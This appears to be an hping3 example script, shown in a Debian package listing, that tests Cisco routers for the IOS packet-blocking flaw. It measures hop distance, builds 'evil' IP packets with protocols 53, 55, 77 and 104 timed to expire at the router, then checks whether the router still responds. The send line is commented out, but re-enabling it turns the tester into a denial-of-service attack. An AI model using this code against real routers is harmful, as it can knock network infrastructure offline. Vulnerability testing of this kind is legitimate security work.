/usr/share/doc/hping3/examples/ciscoios.htcl is in hping3 3.a2.ds2-7.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 | ################################################################################
#
# Helper functions
# This will be part of the hping standard library (possibly modified)
#
# Return the name of the output interface for address addr
proc outifname addr {
set ifa [hping outifa $addr]
set interfaces [hping iflist]
foreach i $interfaces {
if {$ifa == [lindex $i 1]} {
return [lindex $i 0]
}
}
error "Unable to find the output interface name for $addr"
}
proc GetApdField {protocol field packet} {
set re "$protocol\\(.*?$field=(.*?)\[,\\)\].*?\\)"
if [regexp $re $packet match value] {
return $value
} else {
return {}
}
}
proc GetIpSaddr packet { return [GetApdField ip saddr $packet] }
proc GetIpDaddr packet { return [GetApdField ip daddr $packet] }
proc GetIpTtl packet { return [GetApdField ip ttl $packet] }
proc GetTcpSport packet { return [GetApdField tcp sport $packet] }
proc GetTcpDport packet { return [GetApdField tcp dport $packet] }
proc GetIcmpType packet { return [GetApdField icmp type $packet ] }
proc GetIcmpCode packet { return [GetApdField icmp code $packet ] }
proc GetIcmpId packet { return [GetApdField icmp id $packet ] }
# Return non-zero if the host addr seems awake.
# This is done sending a TCP ACK packet and an ICMP echo request
# and searching for at least a reply.
proc isawake addr {
set addr [hping resolve $addr]
set ifname [outifname $addr]
set ifaddr [hping outifa $addr]
hping recv eth0 0
set ip "ip(saddr=$ifaddr,daddr=$addr,ttl=64)"
append ack $ip "+tcp(sport=11005,dport=11111,flags=a)"
append icmp $ip "+icmp(type=8,code=8,id=11111)"
hping send $ack
hping send $icmp
for {set i 0} {$i < 10} {incr i} {
set packets [hping recv $ifname 100 0]
foreach p $packets {
if {([GetIpSaddr $p] == $addr) && (([GetIcmpId $p] == 11111) || ([GetTcpSport $p] == 11111))} {
return 1;
}
}
}
return 0;
}
#
# End of the hping standard library
#
################################################################################
#
# Start
#
if {[llength $argv] == 0} {
puts "Usage: hping exec countops.htcl targethost"
}
set target [hping resolve [lindex $argv 0]]
puts "Target IP: $target"
set outif [outifname $target]
puts "Output Interface: $outif"
set outifa [hping outifa $target]
puts "Output Interface address: $outifa"
#
# Initialize the interface in reception
#
hping recv eth0 0
#
# Send an ACK packet to port 11111
# The script use the RST reply to guess the Hops distance
#
set ack "ip(saddr=$outifa,daddr=$target,ttl=64)+"
append ack "tcp(sport=11005,dport=11111,flags=a)"
puts "sending the ACK packet..."
hping send $ack
#
# Wait up to 3 seconds for incoming packets
# Note that timeout is in milliseconds
#
set ttl {}
for {set i 0} {$i < 30} {incr i} {
set packets [hping recv $outif 100 0]
foreach p $packets {
if {[string match "*saddr=$target*" $p]} {
set ttl [GetIpTtl $p]
set i 30
break
}
}
}
if {$ttl == {}} {
puts "Sorry, no response back from $target"
exit 1
}
set hops [expr 32-($ttl%32)]
puts "Hops distance appears to be: $hops"
#
# Ready to test the CISCO problem
#
incr hops -1
foreach protocol {53 55 77 104} {
puts "Sending evil packet with protocol $protocol"
set evil "ip(saddr=$outifa,daddr=$target,ttl=$hops,proto=$protocol)+"
append evil "data(str=01234567890123456789123456)"
#hping send $evil
}
#
# Test if the host is still awake
#
puts "Waiting for 3 seconds..."
after 3000
if [isawake $target] {
puts "The host appears to be still alive"
} else {
puts "The host appears to be down: vulnerable router?"
}
|